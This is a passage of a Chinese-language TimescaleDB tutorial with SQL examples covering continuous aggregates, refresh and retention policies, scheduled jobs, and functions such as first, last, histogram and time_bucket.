class="line">13</span><br></pre></td><td class="code"><pre><span class="line"># 创建连续聚合</span><br><span class="line"><span class="keyword">CREATE</span> MATERIALIZED <span class="keyword">VIEW</span> <span class="operator">&lt;</span>view_name<span class="operator">&gt;</span> [ ( column_name [, ...] ) ]</span><br><span class="line">  <span class="keyword">WITH</span> ( timescaledb.continuous [, timescaledb.<span class="operator">&lt;</span>option<span class="operator">&gt;</span> <span class="operator">=</span> <span class="operator">&lt;</span><span class="keyword">value</span><span class="operator">&gt;</span> ] )</span><br><span class="line">  <span class="keyword">AS</span></span><br><span class="line">    <span class="operator">&lt;</span>select_query<span class="operator">&gt;</span></span><br><span class="line">  [<span class="keyword">WITH</span> [<span class="keyword">NO</span>] DATA]</span><br><span class="line">  </span><br><span class="line"><span class="keyword">SELECT</span> <span class="operator">&lt;</span>grouping_exprs<span class="operator">&gt;</span>, <span class="operator">&lt;</span>aggregate_functions<span class="operator">&gt;</span></span><br><span class="line">    <span class="keyword">FROM</span> <span class="operator">&lt;</span>hypertable<span class="operator">&gt;</span></span><br><span class="line">[<span class="keyword">WHERE</span> ... ]</span><br><span class="line"><span class="keyword">GROUP</span> <span class="keyword">BY</span> time_bucket( <span class="operator">&lt;</span>const_value<span class="operator">&gt;</span>, <span class="operator">&lt;</span>partition_col_of_hypertable<span class="operator">&gt;</span> ),</span><br><span class="line">         [ optional <span class="keyword">grouping</span> exprs<span class="operator">&gt;</span>]</span><br><span class="line">[<span class="keyword">HAVING</span> ...]</span><br></pre></td></tr></table></figure><ul><li><a href="https://docs.timescale.com/api/latest/continuous-aggregates/refresh_continuous_aggregate/"><code>refresh_continuous_aggregate</code></a>除非<code>WITH NO DATA</code>给出（<code>WITH DATA</code>默认值），否则视图将自动刷新（如下所述 ）。</li><li>该<code>SELECT</code>查询应在所述语法上述规定的形式，这是在下列项目讨论。</li><li><code>FROM</code>在<code>SELECT</code>查询子句中 只能指定一个超表。这意味着不支持包含更多超表、联接、表、视图、子查询。</li><li>中使用的超级表<code>SELECT</code>可能没有启用<a href="https://www.postgresql.org/docs/current/ddl-rowsecurity.html">行级安全策略</a>。</li><li>该<code>GROUP BY</code>子句必须包含 time_bucket 表达式。的 <a href="https://docs.timescale.com/api/latest/hyperfunctions/time_bucket/"><code>time_bucket</code></a>表达式必须使用Hypertable的的时间维度柱。</li><li><a href="https://docs.timescale.com/api/latest/hyperfunctions/gapfilling-interpolation/time_bucket_gapfill/"><code>time_bucket_gapfill</code></a>不允许在连续聚合中使用，但可以<code>SELECT</code>在连续聚合视图中运行。</li><li>一般来说，可以在视图定义中使用<a href="https://www.postgresql.org/docs/current/parallel-plans.html#PARALLEL-AGGREGATION">PostgreSQL 并行化的</a>聚合，这包括大多数与 PostgreSQL 一起分发的聚合。 不允许使用<code>ORDER BY</code>,<code>DISTINCT</code>和<code>FILTER</code>子句进行聚合。</li><li>所有的功能和它们的参数包含在<code>SELECT</code>，<code>GROUP BY</code> 和<code>HAVING</code>条款必须是<a href="https://www.postgresql.org/docs/current/xfunc-volatility.html">不可变的</a>。</li><li>该视图不允许是<a href="https://www.postgresql.org/docs/current/rules-privileges.html">安全屏障视图</a>。</li><li>窗口函数不能与连续聚合结合使用。</li></ul><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><span class="line"># 创建一个连续的聚合视图</span><br><span class="line"><span class="keyword">CREATE</span> MATERIALIZED <span class="keyword">VIEW</span> continuous_aggregate_view( timec, minl, sumt, sumh )</span><br><span class="line"><span class="keyword">WITH</span> (timescaledb.continuous) <span class="keyword">AS</span></span><br><span class="line">  <span class="keyword">SELECT</span> time_bucket(<span class="string">&#x27;1day&#x27;</span>, timec), <span class="built_in">min</span>(location), <span class="built_in">sum</span>(temperature), <span class="built_in">sum</span>(humidity)</span><br><span class="line">    <span class="keyword">FROM</span> conditions</span><br><span class="line">    <span class="keyword">GROUP</span> <span class="keyword">BY</span> time_bucket(<span class="string">&#x27;1day&#x27;</span>, timec)</span><br><span class="line"></span><br><span class="line"># 在同一个原始超表之上添加额外的连续聚合</span><br><span class="line"><span class="keyword">CREATE</span> MATERIALIZED <span class="keyword">VIEW</span> continuous_aggregate_view( timec, minl, sumt, sumh )</span><br><span class="line"><span class="keyword">WITH</span> (timescaledb.continuous) <span class="keyword">AS</span></span><br><span class="line">  <span class="keyword">SELECT</span> time_bucket(<span class="string">&#x27;30day&#x27;</span>, timec), <span class="built_in">min</span>(location), <span class="built_in">sum</span>(temperature), <span class="built_in">sum</span>(humidity)</span><br><span class="line">    <span class="keyword">FROM</span> conditions</span><br><span class="line">    <span class="keyword">GROUP</span> <span class="keyword">BY</span> time_bucket(<span class="string">&#x27;30day&#x27;</span>, timec);</span><br><span class="line"></span><br><span class="line"><span class="keyword">CREATE</span> MATERIALIZED <span class="keyword">VIEW</span> continuous_aggregate_view( timec, minl, sumt, sumh )</span><br><span class="line"><span class="keyword">WITH</span> (timescaledb.continuous) <span class="keyword">AS</span></span><br><span class="line">  <span class="keyword">SELECT</span> time_bucket(<span class="string">&#x27;1h&#x27;</span>, timec), <span class="built_in">min</span>(location), <span class="built_in">sum</span>(temperature), <span class="built_in">sum</span>(humidity)</span><br><span class="line">    <span class="keyword">FROM</span> conditions</span><br><span class="line">    <span class="keyword">GROUP</span> <span class="keyword">BY</span> time_bucket(<span class="string">&#x27;1h&#x27;</span>, timec);</span><br></pre></td></tr></table></figure><h3 id="2-改变物化视图">2.改变物化视图</h3><p><code>ALTER MATERIALIZED VIEW</code>语句可用于修改连续聚合视图的某些<code>WITH</code>子句<a href="https://docs.timescale.com/api/latest/continuous-aggregates/create_materialized_view/#parameters">选项</a>。 <code>ALTER MATERIALIZED VIEW</code>语句在连续聚合视图上还支持以下 <a href="https://www.postgresql.org/docs/current/sql-alterview.html">PostgreSQL 子句</a>：</p><ul><li><code>RENAME TO</code> 重命名连续聚合视图的子句；</li><li><code>SET SCHEMA</code> 子句为连续聚合视图设置新模式；</li><li><code>SET TABLESPACE</code> 将连续聚合视图的物化移动到新表空间的子句；</li><li><code>OWNER TO</code> 子句为连续聚合视图设置新的所有者。</li></ul><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"># 要为连续聚合禁用实时聚合</span><br><span class="line"><span class="keyword">ALTER</span> MATERIALIZED <span class="keyword">VIEW</span> <span class="operator">&lt;</span>view_name<span class="operator">&gt;</span> <span class="keyword">SET</span> ( timescaledb.<span class="operator">&lt;</span>option<span class="operator">&gt;</span> <span class="operator">=</span>  <span class="operator">&lt;</span><span class="keyword">value</span><span class="operator">&gt;</span> [, ... ] )</span><br><span class="line"></span><br><span class="line"># 示例</span><br><span class="line"><span class="keyword">ALTER</span> MATERIALIZED <span class="keyword">VIEW</span> contagg_view <span class="keyword">SET</span> (timescaledb.materialized_only <span class="operator">=</span> <span class="literal">true</span>);</span><br></pre></td></tr></table></figure><p>当前可以修改的唯一选项<code>ALTER MATERIALIZED VIEW</code>是<code>materialized_only</code>。其他选项 <code>continuous</code>和<code>create_group_indexes</code>只能在创建连续聚合时设置。</p><h3 id="3-删除物化视图">3.删除物化视图</h3><p>可以使用该<code>DROP MATERIALIZED VIEW</code>语句删除连续聚合视图。</p><p>此语句删除连续聚合及其所有内部对象。要同时删除其他相关对象（例如在连续聚合上定义的视图），请添加该<code>CASCADE</code> 选项。删除连续聚合不会影响派生连续聚合的基础超表中的数据。</p><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"># 删除现有的连续聚合</span><br><span class="line"><span class="keyword">DROP</span> MATERIALIZED <span class="keyword">VIEW</span> <span class="operator">&lt;</span>view_name<span class="operator">&gt;</span>;</span><br></pre></td></tr></table></figure><h3 id="4-创建自动刷新连续聚合的策略-add-continuous-aggregate-policy（）">4.创建自动刷新连续聚合的策略 add_continuous_aggregate_policy（）</h3><p>该<code>start_offset</code>应大于<code>end_offset</code>。的<code>start_offset</code>和<code>end_offset</code>参数应区别指定取决于Hypertable的时间列的类型：</p><ul><li>对于具有 TIMESTAMP、TIMESTAMPTZ 和 DATE 时间列的超表：偏移量应为 INTERVAL 类型</li><li>对于具有基于整数的时间戳的超表：偏移量应该是整数类型。</li></ul><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"># 添加一个每小时刷新上个月一次的策略，从聚合中排除最近一小时（出于性能原因，建议排除仍然看到大量写入的存储桶）</span><br><span class="line"><span class="keyword">SELECT</span> add_continuous_aggregate_policy(<span class="string">&#x27;conditions_summary&#x27;</span>,</span><br><span class="line">    start_offset <span class="operator">=</span><span class="operator">&gt;</span> <span class="type">INTERVAL</span> <span class="string">&#x27;1 month&#x27;</span>,</span><br><span class="line">    end_offset <span class="operator">=</span><span class="operator">&gt;</span> <span class="type">INTERVAL</span> <span class="string">&#x27;1 hour&#x27;</span>,</span><br><span class="line">    schedule_interval <span class="operator">=</span><span class="operator">&gt;</span> <span class="type">INTERVAL</span> <span class="string">&#x27;1 hour&#x27;</span>);</span><br></pre></td></tr></table></figure><h3 id="5-刷新连续聚合条件-refresh-continuous-aggregate（）">5.刷新连续聚合条件 refresh_continuous_aggregate（）</h3><p>在和 给出的<em>刷新窗口</em>中<em>刷新</em>连续聚合的所有桶。<code>window_start``window_end</code></p><p>连续聚合在时间段（例如，最小值、最大值、平均 1 天的数据价值）中实现<code>time_bucket</code>聚合，这由创建连续聚合时指定的 时间间隔确定。因此，在刷新连续聚合时，只会刷新完全适合刷新窗口的桶。换句话说，不可能在例如半个桶上计算聚合。因此，任何不适合给定刷新窗口的存储桶都将被排除在外。</p><p>该函数期望窗口参数值具有与连续聚合的时间段表达式兼容的时间类型-例如，如果时间段在 中指定 <code>TIMESTAMP WITH TIME ZONE</code>，则开始和结束时间应为日期或时间戳类型。请注意，使用该<code>TIMESTAMP WITH TIME ZONE</code>类型的连续聚合 与 UTC 时区对齐，因此，如果在本地时区中指定<code>window_start</code>和，则 <code>window_end</code>在刷新时需要考虑任何相对于 UTC 的时区偏移，以便与存储桶边界对齐。</p><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"># 刷新<span class="number">2020</span><span class="number">-01</span><span class="number">-01</span> <span class="operator">~</span> <span class="number">2020</span><span class="number">-02</span><span class="number">-01</span> conditions之间的连续聚合条件。  </span><br><span class="line"><span class="keyword">CALL</span> refresh_continuous_aggregate(<span class="string">&#x27;conditions&#x27;</span>, <span class="string">&#x27;2020-01-01&#x27;</span>, <span class="string">&#x27;2020-02-01&#x27;</span>);</span><br></pre></td></tr></table></figure><h3 id="6-删除连续聚合的刷新策略-remove-continuous-aggregate-policy（）">6.删除连续聚合的刷新策略 remove_continuous_aggregate_policy（）</h3><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"># 从“cpu_view”连续聚合中删除刷新策略：</span><br><span class="line"><span class="keyword">SELECT</span> remove_continuous_aggregate_policy(<span class="string">&#x27;cpu_view&#x27;</span>);</span><br></pre></td></tr></table></figure><h2 id="七-数据保留">七.数据保留</h2><h3 id="1-数据保留策略">1.数据保留策略</h3><p>创建策略以在后台按计划删除早于特定超表或连续聚合的给定间隔的块。（见<a href="https://docs.timescale.com/api/latest/hypertable/drop_chunks/">drop_chunks</a>）。这会实施数据保留策略，并将按计划删除数据。每个超级表只能存在一个保留策略。</p><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"># 创建数据保留策略以丢弃超过 <span class="number">6</span> 个月的数据块：</span><br><span class="line"><span class="keyword">SELECT</span> add_retention_policy(<span class="string">&#x27;conditions&#x27;</span>, <span class="type">INTERVAL</span> <span class="string">&#x27;6 months&#x27;</span>);</span><br><span class="line"></span><br><span class="line"># 创建时间列为整数的数据保留策略:  </span><br><span class="line"><span class="keyword">SELECT</span> add_retention_policy(<span class="string">&#x27;conditions&#x27;</span>, <span class="type">BIGINT</span> <span class="string">&#x27;600000&#x27;</span>);</span><br></pre></td></tr></table></figure><h3 id="2-删除删除特定超表块的策略。remove-retention-policy">2.删除删除特定超表块的策略。remove_retention_policy()</h3><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"># 删除表的现有数据保留策略conditions</span><br><span class="line"><span class="keyword">SELECT</span> remove_retention_policy(<span class="string">&#x27;conditions&#x27;</span>);</span><br></pre></td></tr></table></figure><h2 id="八-自定义操作-定时计算等">八.自定义操作,定时计算等</h2><h3 id="1-添加任务-add-job">1.添加任务 add_job()</h3><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"># 注册事件每小时运行一次</span><br><span class="line"></span><br><span class="line"><span class="keyword">CREATE</span> <span class="keyword">OR</span> REPLACE <span class="keyword">PROCEDURE</span> user_defined_action(job_id <span class="type">int</span>, config jsonb) <span class="keyword">LANGUAGE</span> PLPGSQL <span class="keyword">AS</span></span><br><span class="line">$$</span><br><span class="line"><span class="keyword">BEGIN</span></span><br><span class="line">  RAISE NOTICE <span class="string">&#x27;Executing action % with config %&#x27;</span>, job_id, config;</span><br><span class="line"><span class="keyword">END</span></span><br><span class="line">$$;</span><br><span class="line"></span><br><span class="line"><span class="keyword">SELECT</span> add_job(<span class="string">&#x27;user_defined_action&#x27;</span>,<span class="string">&#x27;1h&#x27;</span>);</span><br></pre></td></tr></table></figure><h3 id="2-修改任务-alter-job（）">2.修改任务 alter_job（）</h3><p>通过TimescaleDB的自动化框架调度的操作在后台工作程序中定期运行。 您可以使用alter_job更改它们的执行计划。 要更改现有的作业，必须通过job_id引用它。 执行给定动作的job_id及其当前调度可以在timescaledb_information中找到。 Jobs视图，其中列出了关于每个计划操作的信息，以及timescaledb_information.job_stats中的信息。 job_stats视图还包含关于每个作业最后运行时间的信息，以及决定新调度应该是什么的其他有用统计信息。</p><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"># 重新安排 ID 为 <span class="number">1000</span> 的作业，使其每两天运行一次。</span><br><span class="line"><span class="keyword">SELECT</span> alter_job(<span class="number">1000</span>, schedule_interval <span class="operator">=</span><span class="operator">&gt;</span> <span class="type">INTERVAL</span> <span class="string">&#x27;2 days&#x27;</span>);</span><br><span class="line"></span><br><span class="line"># 在 hypertable 上禁用压缩策略的调度conditions。</span><br><span class="line"><span class="keyword">SELECT</span> alter_job(job_id, scheduled <span class="operator">=</span><span class="operator">&gt;</span> <span class="literal">false</span>)</span><br><span class="line"><span class="keyword">FROM</span> timescaledb_information.jobs</span><br><span class="line"><span class="keyword">WHERE</span> proc_name <span class="operator">=</span> <span class="string">&#x27;policy_compression&#x27;</span> <span class="keyword">AND</span> hypertable_name <span class="operator">=</span> <span class="string">&#x27;conditions&#x27;</span></span><br><span class="line"></span><br><span class="line"># 重新安排连续聚合作业，<span class="number">1015</span>以便作业的下一次执行在指定时间（<span class="number">2020</span> 年 <span class="number">3</span> 月 <span class="number">15</span> 日上午 <span class="number">9</span>:<span class="number">00</span>:<span class="number">00</span>）开始。</span><br><span class="line"><span class="keyword">SELECT</span> alter_job(<span class="number">1015</span>, next_start <span class="operator">=</span><span class="operator">&gt;</span> <span class="string">&#x27;2020-03-15 09:00:00.0+00&#x27;</span>);</span><br></pre></td></tr></table></figure><h3 id="3-移除任务-delete-job（）">3.移除任务 delete_job（）</h3><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"># 删除作业 ID 为 <span class="number">1000</span> 的作业。</span><br><span class="line"><span class="keyword">SELECT</span> delete_job(<span class="number">1000</span>);</span><br></pre></td></tr></table></figure><h3 id="4-执行任务-run-job（）">4.执行任务 run_job（）</h3><p>在当前会话中运行先前注册的作业。这适用于用户定义的操作和策略。由于<code>run_job</code>是作为存储过程实现的，因此不能在 SELECT 查询中执行，而必须使用<code>CALL</code>.</p><p>使用<code>run_job</code>. 您可以将其与更高的日志级别一起使用来帮助调试问题。</p><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"># 将向客户端显示的日志级别设置为DEBUG1并运行作业 ID 为 <span class="number">1000</span> 的作业。</span><br><span class="line"><span class="keyword">SET</span> client_min_messages <span class="keyword">TO</span> DEBUG1;</span><br><span class="line"><span class="keyword">CALL</span> run_job(<span class="number">1000</span>);</span><br></pre></td></tr></table></figure><h2 id="九-功能增强">九.功能增强</h2><h3 id="1-单表近似行数">1.单表近似行数</h3><p>根据目录估计获取超表、分布式超表或常规 PostgreSQL 表的近似行数。此函数支持具有嵌套继承和声明式分区的表。</p><p>近似行计数的准确性取决于具有有关表或超表的最新统计信息的数据库，这些统计信息由 VACUUM、ANALYZE 和一些 DDL 命令更新。如果您在表或超表上配置了 auto-vacuum，或者表的更改相对不频繁，您可能不需要显式分析您的表，如下所示。否则，如果您的表统计信息太过时，运行此命令将更新您的统计信息并产生更准确的近似结果。</p><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"># 获取单个超级表的近似行数</span><br><span class="line">ANALYZE conditions;</span><br><span class="line"></span><br><span class="line"><span class="keyword">SELECT</span> <span class="operator">*</span> <span class="keyword">FROM</span> approximate_row_count(<span class="string">&#x27;conditions&#x27;</span>);</span><br></pre></td></tr></table></figure><h3 id="2-单表中的第一条数据first">2.单表中的第一条数据first()</h3><p>该<code>first</code>聚合可以让你得到一个列的值由另一个为有序。例如，<code>first(temperature, time)</code>将根据聚合组内的时间返回最早的温度值。</p><p>该<code>last</code>和<code>first</code>命令也<strong>不会</strong>使用索引，而是通过他们的组进行顺序扫描。它们主要用于<code>GROUP BY</code>聚合内的有序选择，而不是作为<code>ORDER BY time DESC LIMIT 1</code>查找最新值（将使用索引）的子句的替代。</p><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"># 通过device_id获取最早的温度</span><br><span class="line"><span class="keyword">SELECT</span> device_id, <span class="keyword">first</span>(temp, <span class="type">time</span>)</span><br><span class="line"><span class="keyword">FROM</span> metrics</span><br><span class="line"><span class="keyword">GROUP</span> <span class="keyword">BY</span> device_id;</span><br></pre></td></tr></table></figure><h3 id="3-单表中的最后一条数据last">3.单表中的最后一条数据last()</h3><p>该<code>last</code>聚合可以让你得到一个列的值由另一个为有序。例如，<code>last(temperature, time)</code>将根据聚合组内的时间返回最新的温度值。</p><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"># 在过去一天中每 <span class="number">5</span> 分钟获取一次每个设备的温度：</span><br><span class="line"><span class="keyword">SELECT</span> device_id, time_bucket(<span class="string">&#x27;5 minutes&#x27;</span>, <span class="type">time</span>) <span class="keyword">AS</span> <span class="type">interval</span>,</span><br><span class="line">  <span class="keyword">last</span>(temp, <span class="type">time</span>)</span><br><span class="line"><span class="keyword">FROM</span> metrics</span><br><span class="line"><span class="keyword">WHERE</span> <span class="type">time</span> <span class="operator">&gt;</span> now () <span class="operator">-</span> <span class="type">INTERVAL</span> <span class="string">&#x27;1 day&#x27;</span></span><br><span class="line"><span class="keyword">GROUP</span> <span class="keyword">BY</span> device_id, <span class="type">interval</span></span><br><span class="line"><span class="keyword">ORDER</span> <span class="keyword">BY</span> <span class="type">interval</span> <span class="keyword">DESC</span>;</span><br></pre></td></tr></table></figure><h3 id="4-直方图-histogram">4.直方图 histogram()</h3><p>该<code>histogram()</code>函数将一组值的分布表示为一个等宽桶数组。它将数据集划分为指定数量的桶 ( <code>nbuckets</code>)，范围从输入<code>min</code>和<code>max</code>值。</p><p>返回值是一个包含<code>nbuckets</code>+2 个桶的数组，中间的<code>nbuckets</code>桶用于指定范围内的值，数组头部的第一个桶用于下限以下的值<code>min</code>，最后一个桶用于大于或等于<code>max</code>边界。每个桶在其下限是包含的，在其上限是不包括的。因此，等于 的值<code>min</code>包含在以 开头的存储桶中<code>min</code>，但等于 的值<code>max</code>包含在最后一个存储桶中。</p><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><span class="line"># 从readings数据集中对设备的电池电量进行简单分类 <span class="number">20</span>代表分桶直方图下限(<span class="operator">&gt;=</span>)，<span class="number">60</span>代表分桶直方图的上限(<span class="operator">&lt;</span>), <span class="number">5</span>代表直方图桶（分区）数量的整数值</span><br><span class="line"><span class="keyword">SELECT</span> device_id, histogram(battery_level, <span class="number">20</span>, <span class="number">60</span>, <span class="number">5</span>)</span><br><span class="line"><span class="keyword">FROM</span> readings</span><br><span class="line"><span class="keyword">GROUP</span> <span class="keyword">BY</span> device_id</span><br><span class="line">LIMIT <span class="number">10</span>;</span><br><span class="line"></span><br><span class="line"># 预期输出</span><br><span class="line">device_id  <span class="operator">|</span>          histogram</span><br><span class="line"><span class="comment">------------+------------------------------</span></span><br><span class="line"> demo000000 <span class="operator">|</span> &#123;<span class="number">0</span>,<span class="number">0</span>,<span class="number">0</span>,<span class="number">7</span>,<span class="number">215</span>,<span class="number">206</span>,<span class="number">572</span>&#125;</span><br><span class="line"> demo000001 <span class="operator">|</span> &#123;<span class="number">0</span>,<span class="number">12</span>,<span class="number">173</span>,<span class="number">112</span>,<span class="number">99</span>,<span class="number">145</span>,<span class="number">459</span>&#125;</span><br><span class="line"> demo000002 <span class="operator">|</span> &#123;<span class="number">0</span>,<span class="number">0</span>,<span class="number">187</span>,<span class="number">167</span>,<span class="number">68</span>,<span class="number">229</span>,<span class="number">349</span>&#125;</span><br><span class="line"> demo000003 <span class="operator">|</span> &#123;<span class="number">197</span>,<span class="number">209</span>,<span class="number">127</span>,<span class="number">221</span>,<span class="number">106</span>,<span class="number">112</span>,<span class="number">28</span>&#125;</span><br><span class="line"> demo000004 <span class="operator">|</span> &#123;<span class="number">0</span>,<span class="number">0</span>,<span class="number">0</span>,<span class="number">0</span>,<span class="number">0</span>,<span class="number">39</span>,<span class="number">961</span>&#125;</span><br><span class="line"> demo000005 <span class="operator">|</span> &#123;<span class="number">12</span>,<span class="number">225</span>,<span class="number">171</span>,<span class="number">122</span>,<span class="number">233</span>,<span class="number">80</span>,<span class="number">157</span>&#125;</span><br><span class="line"> demo000006 <span class="operator">|</span> &#123;<span class="number">0</span>,<span class="number">78</span>,<span class="number">176</span>,<span class="number">170</span>,<span class="number">8</span>,<span class="number">40</span>,<span class="number">528</span>&#125;</span><br><span class="line"> demo000007 <span class="operator">|</span> &#123;<span class="number">0</span>,<span class="number">0</span>,<span class="number">0</span>,<span class="number">126</span>,<span class="number">239</span>,<span class="number">245</span>,<span class="number">390</span>&#125;</span><br><span class="line"> demo000008 <span class="operator">|</span> &#123;<span class="number">0</span>,<span class="number">0</span>,<span class="number">311</span>,<span class="number">345</span>,<span class="number">116</span>,<span class="number">228</span>,<span class="number">0</span>&#125;</span><br><span class="line"> demo000009 <span class="operator">|</span> &#123;<span class="number">295</span>,<span class="number">92</span>,<span class="number">105</span>,<span class="number">50</span>,<span class="number">8</span>,<span class="number">8</span>,<span class="number">442</span>&#125;</span><br></pre></td></tr></table></figure><h3 id="5-时间桶-time-bucket">5.时间桶 time_bucket()</h3><p>这是标准 PostgreSQL<code>date_trunc</code>函数的更强大版本。它允许任意时间间隔，而不是由 提供的秒、分、小时等<code>date_trunc</code>。返回值是存储桶的开始时间。以下是有效使用它的必要信息。</p><p>TIMESTAMPTZ 参数按 UTC 时间分桶。所以桶的对齐是在UTC时间。这样做的一个后果是每日存储桶与 UTC 午夜对齐，而不是本地时间。</p><p>如果用户希望按本地时间对齐存储桶，则 TIMESTAMPTZ 输入应在传递给 time_bucket 之前转换为 TIMESTAMP（此类转换将值转换为本地时间）（请参见下面的示例）。请注意，沿夏令时边界，此类转换后聚合到存储桶中的数据量是不规则的：例如，如果 bucket_width 为 2 小时，则夏令时边界上本地时间存储的 UTC 小时数可以是 3 小时或 1 小时。</p><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br></pre></td><td class="code"><pre><span class="line"># 简单的 <span class="number">5</span> 分钟平均</span><br><span class="line"><span class="keyword">SELECT</span> time_bucket(<span class="string">&#x27;5 minutes&#x27;</span>, <span class="type">time</span>) <span class="keyword">AS</span> five_min, <span class="built_in">avg</span>(cpu)</span><br><span class="line"><span class="keyword">FROM</span> metrics</span><br><span class="line"><span class="keyword">GROUP</span> <span class="keyword">BY</span> five_min</span><br><span class="line"><span class="keyword">ORDER</span> <span class="keyword">BY</span> five_min <span class="keyword">DESC</span> LIMIT <span class="number">10</span>;</span><br><span class="line"></span><br><span class="line"># 时间偏移</span><br><span class="line"><span class="keyword">SELECT</span> time_bucket(<span class="string">&#x27;5 minutes&#x27;</span>, <span class="type">time</span>) <span class="operator">+</span> <span class="string">&#x27;2.5 minutes&#x27;</span></span><br><span class="line">  <span class="keyword">AS</span> five_min, <span class="built_in">avg</span>(cpu)</span><br><span class="line"><span class="keyword">FROM</span> metrics</span><br><span class="line"><span class="keyword">GROUP</span> <span class="keyword">BY</span> five_min</span><br><span class="line"><span class="keyword">ORDER</span> <span class="keyword">BY</span> five_min <span class="keyword">DESC</span> LIMIT <span class="number">10</span>;</span><br><span class="line"></span><br><span class="line"># 对于四舍五入，移动对齐方式，使桶的中间位于 <span class="number">5</span> 分钟标记处（并报告桶的中间）：</span><br><span class="line"><span class="keyword">SELECT</span> time_bucket(<span class="string">&#x27;5 minutes&#x27;</span>, <span class="type">time</span>, <span class="string">&#x27;-2.5 minutes&#x27;</span>) <span class="operator">+</span> <span class="string">&#x27;2.5 minutes&#x27;</span></span><br><span class="line">  <span class="keyword">AS</span> five_min, <span class="built_in">avg</span>(cpu)</span><br><span class="line"><span class="keyword">FROM</span> metrics</span><br><span class="line"><span class="keyword">GROUP</span> <span class="keyword">BY</span> five_min</span><br><span class="line"><span class="keyword">ORDER</span> <span class="keyword">BY</span> five_min <span class="keyword">DESC</span> LIMIT <span class="number">10</span>;</span><br><span class="line"></span><br><span class="line"># 要移动存储桶的对齐方式，您可以使用 origin 参数（作为时间戳、timestamptz 或日期类型传递）。在此示例中，我们将一周的开始时间移至星期日（默认为星期一）。</span><br><span class="line"><span class="keyword">SELECT</span> time_bucket(<span class="string">&#x27;1 week&#x27;</span>, timetz, TIMESTAMPTZ <span class="string">&#x27;2017-12-31&#x27;</span>)</span><br><span class="line">  <span class="keyword">AS</span> one_week, <span class="built_in">avg</span>(cpu)</span><br><span class="line"><span class="keyword">FROM</span> metrics</span><br><span class="line"><span class="keyword">GROUP</span> <span class="keyword">BY</span> one_week</span><br><span class="line"><span class="keyword">WHERE</span> <span class="type">time</span> <span class="operator">&gt;</span> TIMESTAMPTZ <span class="string">&#x27;2017-12-01&#x27;</span>  <span class="keyword">AND</span> <span class="type">time</span> <span class="operator">&lt;</span> TIMESTAMPTZ <span class="string">&#x27;2018-01-03&#x27;</span></span><br><span 